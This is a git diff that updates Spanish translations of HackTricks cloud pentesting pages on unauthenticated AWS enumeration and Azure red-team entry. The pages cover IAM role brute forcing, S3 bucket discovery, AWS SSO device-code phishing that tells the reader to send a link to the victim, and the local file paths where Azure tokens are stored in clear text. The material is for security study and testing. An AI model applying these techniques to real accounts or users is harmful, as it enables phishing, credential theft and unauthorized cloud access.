hacer eso aquí**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Por defecto, Cognito permite **registrar nuevos usuarios**. Poder registrar un usuario podría darte **acceso** a la **aplicación subyacente** o al **rol de acceso IAM autenticado de un Pool de Identidad** que acepta como proveedor de identidad el Pool de Usuarios de Cognito. [**Consulta cómo hacerlo aquí**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Módulos de Pacu para pentesting y enumeración [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte de MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de pool de identidad utilizables, roles asumibles en tokens de id, etc. -Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Uso diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index c50e6be9a..6b1806c04 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB Enum no autenticado {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 04fbe7fd8..65fca05a4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2a242d111..259dfa5de 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Para más información, consulta: ### Repositorios de registro público (imágenes) -Como se mencionó en la sección de Enum de ECS, un registro público es **accesible por cualquier persona** y utiliza el formato **`public.ecr.aws//`**. Si un atacante localiza una URL de repositorio público, podría **descargar la imagen y buscar información sensible** en los metadatos y el contenido de la imagen. +Como se mencionó en la sección de Enumeración de ECS, un registro público es **accesible por cualquier persona** y utiliza el formato **`public.ecr.aws//`**. Si un atacante localiza una URL de repositorio público, podría **descargar la imagen y buscar información sensible** en los metadatos y el contenido de la imagen. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 22b8a3d33..d4f88a4e0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 033cc72d2..1df638228 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -16,19 +16,19 @@ Ten en cuenta que, por defecto, los entornos de Beanstalk tienen **Metadatav1 de El formato de las páginas web de Beanstalk es **`https://-env..elasticbeanstalk.com/`** -### Reglas de grupo de seguridad inseguras +### Reglas de Grupo de Seguridad Inseguras Las reglas de grupo de seguridad mal configuradas pueden exponer las instancias de Elastic Beanstalk al público. **Reglas de ingreso excesivamente permisivas, como permitir tráfico desde cualquier dirección IP (0.0.0.0/0) en puertos sensibles, pueden permitir a los atacantes acceder a la instancia**. -### Balanceador de carga accesible públicamente +### Balanceador de Carga Accesible Públicamente -Si un entorno de Elastic Beanstalk utiliza un balanceador de carga y el balanceador de carga está configurado para ser accesible públicamente, los atacantes pueden **enviar solicitudes directamente al balanceador de carga**. Si bien esto puede no ser un problema para aplicaciones web destinadas a ser accesibles públicamente, podría ser un problema para aplicaciones o entornos privados. +Si un entorno de Elastic Beanstalk utiliza un balanceador de carga y el balanceador de carga está configurado para ser accesible públicamente, los atacantes pueden **enviar solicitudes directamente al balanceador de carga**. Aunque esto podría no ser un problema para aplicaciones web destinadas a ser accesibles públicamente, podría ser un problema para aplicaciones o entornos privados. -### Cubos S3 accesibles públicamente +### Buckets de S3 Accesibles Públicamente -Las aplicaciones de Elastic Beanstalk a menudo se almacenan en cubos S3 antes de la implementación. Si el cubo S3 que contiene la aplicación es accesible públicamente, un atacante podría **descargar el código de la aplicación y buscar vulnerabilidades o información sensible**. +Las aplicaciones de Elastic Beanstalk a menudo se almacenan en buckets de S3 antes de la implementación. Si el bucket de S3 que contiene la aplicación es accesible públicamente, un atacante podría **descargar el código de la aplicación y buscar vulnerabilidades o información sensible**. -### Enumerar entornos públicos +### Enumerar Entornos Públicos ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index ea4a8c81b..90a57bb22 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -23,13 +23,13 @@ Este mensaje confirma la existencia del rol, pero indica que su política de asu ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Interesantemente, este método de **distinguir entre roles existentes y no existentes** es aplicable incluso entre diferentes cuentas de AWS. Con un ID de cuenta de AWS válido y una lista de palabras dirigida, se pueden enumerar los roles presentes en la cuenta sin enfrentar limitaciones inherentes. +Interesantemente, este método de **distinguir entre roles existentes y no existentes** es aplicable incluso entre diferentes cuentas de AWS. Con un ID de cuenta de AWS válido y una lista de palabras objetivo, se pueden enumerar los roles presentes en la cuenta sin enfrentar limitaciones inherentes. Puedes usar este [script para enumerar posibles principales](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando de este problema. ### Políticas de Confianza: Fuerza Bruta de roles y usuarios entre cuentas -Configurar o actualizar la **política de confianza de un rol de IAM implica definir qué recursos o servicios de AWS están permitidos para asumir ese rol** y obtener credenciales temporales. Si el recurso especificado en la política **existe**, la política de confianza se guarda **correctamente**. Sin embargo, si el recurso **no existe**, se **genera un error**, indicando que se proporcionó un principal no válido. +Configurar o actualizar la **política de confianza de un rol IAM implica definir qué recursos o servicios de AWS están permitidos para asumir ese rol** y obtener credenciales temporales. Si el recurso especificado en la política **existe**, la política de confianza se guarda **correctamente**. Sin embargo, si el recurso **no existe**, se **genera un error**, indicando que se proporcionó un principal no válido. > [!WARNING] > Ten en cuenta que en ese recurso podrías especificar un rol o usuario entre cuentas: @@ -54,7 +54,7 @@ Este es un ejemplo de política: ``` #### GUI -Ese es el **error** que encontrarás si usas un **rol que no existe**. Si el rol **existe**, la política será **guardada** sin ningún error. (El error es para actualizar, pero también funciona al crear) +Ese es el **error** que encontrarás si usas un **rol que no existe**. Si el rol **existe**, la política será **guardada** sin errores. (El error es para actualizar, pero también funciona al crear) ![](<../../../images/image (153).png>) @@ -99,7 +99,7 @@ Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- El rol `admin` utilizado en el ejemplo es un **rol en tu cuenta que puede ser suplantado** por pacu para crear las políticas que necesita para la enumeración +- El rol `admin` utilizado en el ejemplo es un **rol en tu cuenta que será suplantado** por pacu para crear las políticas que necesita para la enumeración ### Privesc @@ -122,8 +122,8 @@ El atacante podría simplemente asumirlo. ## Federación OIDC de Terceros -Imagina que logras leer un **workflow de Github Actions** que está accediendo a un **rol** dentro de **AWS**.\ -Esta confianza podría dar acceso a un rol con la siguiente **política de confianza**: +Imagina que logras leer un **Github Actions workflow** que está accediendo a un **role** dentro de **AWS**.\ +Esta confianza podría dar acceso a un role con la siguiente **trust policy**: ```json { "Version": "2012-10-17", @@ -152,7 +152,7 @@ Otra posible mala configuración es **agregar una condición** como la siguiente "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Nota que **wildcard** (\*) antes de los **dos puntos** (:). Puedes crear una org como **org_name1** y **assumir el rol** desde una acción de Github. +Tenga en cuenta el **comodín** (\*) antes de los **dos puntos** (:). Puede crear una organización como **org_name1** y **asumir el rol** desde una acción de Github. ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 2004af48d..d29fe9f74 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - Identity Center & SSO Unauthenticated Enum +# AWS - Identity Center & SSO Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} ## Phishing de Código de Dispositivo de AWS -Inicialmente propuesto en [**esta publicación de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), es posible enviar un **enlace** a un usuario que utiliza AWS SSO que, si el **usuario acepta**, el atacante podrá obtener un **token para suplantar al usuario** y acceder a todos los roles a los que el usuario puede acceder en el **Identity Center**. +Propuesto inicialmente en [**esta publicación de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), es posible enviar un **enlace** a un usuario que utiliza AWS SSO que, si el **usuario acepta**, el atacante podrá obtener un **token para suplantar al usuario** y acceder a todos los roles a los que el usuario puede acceder en el **Identity Center**. Para realizar este ataque, los requisitos son: @@ -54,7 +54,7 @@ print("Give this URL to the victim: " + url) ``` ¡Envía el enlace generado a la víctima utilizando tus increíbles habilidades de ingeniería social! -3. **Espera a que la víctima lo acepte** +3. **Espera hasta que la víctima lo acepte** Si la víctima **ya estaba conectada a AWS**, solo necesitará aceptar otorgar los permisos; si no lo estaba, necesitará **iniciar sesión y luego aceptar otorgar los permisos**.\ Así es como se ve el aviso hoy en día: @@ -102,18 +102,18 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### Phishing the unphisable MFA +### Phishing al MFA inphishable -Es divertido saber que el ataque anterior **funciona incluso si se está utilizando un "MFA ineludible" (webAuth)**. Esto se debe a que el **flujo de trabajo anterior nunca sale del dominio OAuth utilizado**. A diferencia de otros ataques de phishing donde el usuario necesita suplantar el dominio de inicio de sesión, en este caso, el flujo de trabajo del código del dispositivo está preparado para que un **código sea conocido por un dispositivo** y el usuario pueda iniciar sesión incluso en una máquina diferente. Si se acepta el aviso, el dispositivo, solo por **conocer el código inicial**, podrá **recuperar credenciales** para el usuario. +Es divertido saber que el ataque anterior **funciona incluso si se está utilizando un "MFA inphishable" (webAuth)**. Esto se debe a que el **flujo de trabajo anterior nunca sale del dominio OAuth utilizado**. A diferencia de otros ataques de phishing donde el usuario necesita suplantar el dominio de inicio de sesión, en este caso, el flujo de trabajo del código del dispositivo está preparado para que un **código sea conocido por un dispositivo** y el usuario pueda iniciar sesión incluso en una máquina diferente. Si se acepta el aviso, el dispositivo, solo por **conocer el código inicial**, podrá **recuperar credenciales** para el usuario. Para más información sobre esto [**consulta esta publicación**](https://mjg59.dreamwidth.org/62175.html). -### Automatic Tools +### Herramientas Automáticas - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## References +## Referencias - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index b04f9d833..1d5dab17f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 557d07bb5..7726b5aa3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - Lambda Acceso No Autenticado +# AWS - Acceso No Autenticado a Lambda {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Es posible relacionar un **Lambda** con una **URL de función pública** a la qu ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` -### Obtener ID de cuenta desde la URL pública de Lambda +### Obtener el ID de la cuenta desde la URL pública de Lambda -Al igual que con los buckets de S3, Data Exchange y API gateways, es posible encontrar el ID de cuenta de una cuenta abusando de la **`aws:ResourceAccount`** **Policy Condition Key** desde una URL pública de Lambda. Esto se hace encontrando el ID de cuenta un carácter a la vez abusando de comodines en la sección **`aws:ResourceAccount`** de la política.\ +Al igual que con los buckets de S3, Data Exchange y API gateways, es posible encontrar el ID de la cuenta de una cuenta abusando de la **`aws:ResourceAccount`** **Policy Condition Key** desde una URL pública de Lambda. Esto se hace encontrando el ID de la cuenta un carácter a la vez abusando de comodines en la sección **`aws:ResourceAccount`** de la política.\ Esta técnica también permite obtener **valores de etiquetas** si conoces la clave de la etiqueta (hay algunas predeterminadas interesantes). Puedes encontrar más información en la [**investigación original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) y la herramienta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar esta explotación. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index a7bdf60bd..d38106559 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - Media Unauthenticated Enum +# AWS - Enumeración de Medios No Autenticada {{#include ../../../banners/hacktricks-training.md}} -### Plantilla de URL pública +### Plantilla de URL Pública ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 38862d62e..7d68ab1f1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -12,7 +12,7 @@ En el caso de **RabbitMQ**, por **defecto el acceso público** y ssl están habi En el caso de **ActiveMQ**, por defecto el acceso público y ssl están habilitados, pero necesitas credenciales para acceder. -### Plantilla de URL Pública +### Plantilla de URL pública ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index c0d1dbbec..81344ac71 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -6,13 +6,13 @@ Un cubo se considera **“público”** si **cualquier usuario puede listar el contenido** del cubo, y **“privado”** si el contenido del cubo **solo puede ser listado o escrito por ciertos usuarios**. -Las empresas pueden tener **permisos de cubos mal configurados** que dan acceso ya sea a todo o a todos los autenticados en AWS en cualquier cuenta (es decir, a cualquiera). Ten en cuenta que, incluso con tales configuraciones incorrectas, algunas acciones pueden no poder realizarse, ya que los cubos pueden tener sus propias listas de control de acceso (ACL). +Las empresas pueden tener **permisos de cubos mal configurados** que dan acceso ya sea a todo o a todos los autenticados en AWS en cualquier cuenta (es decir, a cualquiera). Ten en cuenta que incluso con tales configuraciones erróneas, algunas acciones pueden no poder realizarse, ya que los cubos pueden tener sus propias listas de control de acceso (ACL). **Aprende sobre la mala configuración de AWS-S3 aquí:** [**http://flaws.cloud**](http://flaws.cloud/) **y** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Encontrar Cubos de AWS -Diferentes métodos para encontrar cuando una página web está utilizando AWS para almacenar algunos recursos: +Diferentes métodos para encontrar cuando una página web está usando AWS para almacenar algunos recursos: #### Enumeración y OSINT: @@ -29,7 +29,7 @@ http://[bucket_name].s3.amazonaws.com/ - Verifica [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), una web con **cubos abiertos ya descubiertos**. - El **nombre del cubo** y el **nombre de dominio del cubo** deben ser **los mismos.** - **flaws.cloud** está en **IP** 52.92.181.107 y si vas allí te redirige a [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Además, `dig -x 52.92.181.107` da `s3-website-us-west-2.amazonaws.com`. -- Para verificar que es un cubo también puedes **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Para verificar que es un cubo, también puedes **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Fuerza Bruta @@ -58,7 +58,7 @@ cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt # Crear permutaciones basadas en una lista con los dominios y subdominios a atacar goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp -## La herramienta anterior está especializada en crear permutaciones para subdominios, filtramos esa lista +## La herramienta anterior está especializada en crear permutaciones para subdominios, vamos a filtrar esa lista ### Eliminar líneas que terminan con "." cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### Crear lista sin TLD @@ -95,13 +95,13 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Verifique que el dominio resuelto tenga la palabra "website".\ -Puede acceder al sitio web estático yendo a: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -o puede acceder al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com` +Verifica que el dominio resuelto tenga la palabra "website".\ +Puedes acceder al sitio web estático yendo a: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +o puedes acceder al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com` #### Intentando -Si intenta acceder a un bucket, pero en el **nombre de dominio especifica otra región** (por ejemplo, el bucket está en `bucket.s3.amazonaws.com` pero intenta acceder a `bucket.s3-website-us-west-2.amazonaws.com`, entonces se le **indicará la ubicación correcta**: +Si intentas acceder a un bucket, pero en el **nombre de dominio especificas otra región** (por ejemplo, el bucket está en `bucket.s3.amazonaws.com` pero intentas acceder a `bucket.s3-website-us-west-2.amazonaws.com`, entonces se te **indicarán a la ubicación correcta**: ![](<../../../images/image (106).png>) @@ -117,7 +117,7 @@ Privado: ![](<../../../images/image (83).png>) -También puede verificar esto con el cli: +También puedes verificar esto con el cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -133,7 +133,7 @@ https://{user_provided}.s3.amazonaws.com ``` ### Obtener ID de cuenta de un Bucket público -Es posible determinar una cuenta de AWS aprovechando la nueva **`S3:ResourceAccount`** **Clave de Condición de Política**. Esta condición **restringe el acceso según el bucket S3** en el que se encuentra una cuenta (otras políticas basadas en cuentas restringen según la cuenta en la que se encuentra el principal solicitante).\ +Es posible determinar una cuenta de AWS aprovechando la nueva **`S3:ResourceAccount`** **Clave de Condición de Política**. Esta condición **restringe el acceso basado en el bucket S3** en el que se encuentra una cuenta (otras políticas basadas en cuentas restringen según la cuenta en la que se encuentra el principal solicitante).\ Y debido a que la política puede contener **comodines**, es posible encontrar el número de cuenta **solo un número a la vez**. Esta herramienta automatiza el proceso: @@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -Si el error es un “Access Denied” significa que el ID de la cuenta era incorrecto. +Si el error es "Acceso Denegado", significa que el ID de la cuenta era incorrecto. -### Uso de correos electrónicos como enumeración de cuentas raíz +### Correos electrónicos utilizados como enumeración de cuentas raíz -Como se explicó en [**esta publicación del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), es posible verificar si una dirección de correo electrónico está relacionada con alguna cuenta de AWS al **intentar otorgar permisos a un correo electrónico** sobre un bucket S3 a través de ACLs. Si esto no genera un error, significa que el correo electrónico es un usuario raíz de alguna cuenta de AWS: +Como se explicó en [**esta publicación del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), es posible verificar si una dirección de correo electrónico está relacionada con alguna cuenta de AWS al **intentar otorgar permisos a un correo electrónico** sobre un bucket de S3 a través de ACLs. Si esto no genera un error, significa que el correo electrónico es un usuario raíz de alguna cuenta de AWS: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index d38326cc5..458276cea 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} @@ -16,6 +16,6 @@ Cuando configuras un tema de SNS desde la consola web, es posible indicar que **
-Así que si **encuentras el ARN de los temas** dentro de la cuenta (o forzando nombres potenciales para temas) puedes **verificar** si puedes **publicar** o **suscribirte** a **ellos**. +Así que si **encuentras el ARN de los temas** dentro de la cuenta (o forzando nombres potenciales para los temas) puedes **verificar** si puedes **publicar** o **suscribirte** a **ellos**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index fb5644f52..7e24acbe6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS Enumeración No Autenticada {{#include ../../../banners/hacktricks-training.md}} ## SQS -Para más información sobre SQS, consulta: +Para más información sobre SQS consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -14,8 +14,8 @@ Para más información sobre SQS, consulta: ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` -### Comprobar Permisos +### Verificar Permisos -Es posible que se configure incorrectamente una política de cola SQS y se otorguen permisos a todos en AWS para enviar y recibir mensajes, así que si obtienes el ARN de las colas, intenta ver si puedes acceder a ellas. +Es posible desconfigurar incorrectamente una política de cola SQS y otorgar permisos a todos en AWS para enviar y recibir mensajes, así que si obtienes el ARN de las colas, intenta ver si puedes acceder a ellas. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 19d9a65bb..3776132de 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,7 +10,7 @@ az-basic-information/ ## Metodología de Pentesting/Red Team de Azure -Para auditar un entorno de AZURE, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de Azure y los **servicios externos**. +Para auditar un entorno AZURE, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de Azure y los **servicios externos**. Desde el punto de vista de un Red Team, el **primer paso para comprometer un entorno de Azure** es conseguir obtener algunas **credenciales** para Azure AD. Aquí tienes algunas ideas sobre cómo hacerlo: @@ -23,7 +23,7 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un ent - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` - El archivo **`accessTokens.json`** en `az cli` antes de 2.30 - Jan2022 - almacenaba **tokens de acceso en texto claro** -- El archivo **`azureProfile.json`** contiene **info** sobre el usuario conectado. +- El archivo **`azureProfile.json`** contiene **información** sobre el usuario conectado. - **`az logout`** elimina el token. - Versiones anteriores de **`Az PowerShell`** almacenaban **tokens de acceso** en **texto claro** en **`TokenCache.dat`**. También almacena **ServicePrincipalSecret** en **texto claro** en **`AzureRmContext.json`**. El cmdlet **`Save-AzContext`** se puede usar para **almacenar** **tokens**.\ Usa `Disconnect-AzAccount` para eliminarlos. @@ -33,7 +33,7 @@ Usa `Disconnect-AzAccount` para eliminarlos. - [Phishing de Autenticación con Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [**Password Spraying** de Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Incluso si no has **comprometido a ningún usuario** dentro del inquilino de Azure que estás atacando, puedes **recolectar algo de información** de él: +Incluso si **no has comprometido a ningún usuario** dentro del inquilino de Azure que estás atacando, puedes **recolectar algo de información** de él: {{#ref}} az-unauthenticated-enum-and-initial-entry/ diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index b4186d482..b7163d1ca 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -58,7 +58,7 @@ Entra ID es un servicio de **gestión de identidad y acceso basado en la nube** ### Servicios de Dominio de Entra (anteriormente Azure AD DS) -Los Servicios de Dominio de Entra amplían las capacidades de Entra ID al ofrecer **servicios de dominio administrados compatibles con entornos tradicionales de Windows Active Directory**. Soporta protocolos heredados como LDAP, Kerberos y NTLM, permitiendo a las organizaciones migrar o ejecutar aplicaciones más antiguas en la nube sin desplegar controladores de dominio locales. Este servicio también soporta Políticas de Grupo para gestión centralizada, haciéndolo adecuado para escenarios donde cargas de trabajo heredadas o basadas en AD necesitan coexistir con entornos modernos en la nube. +Los Servicios de Dominio de Entra 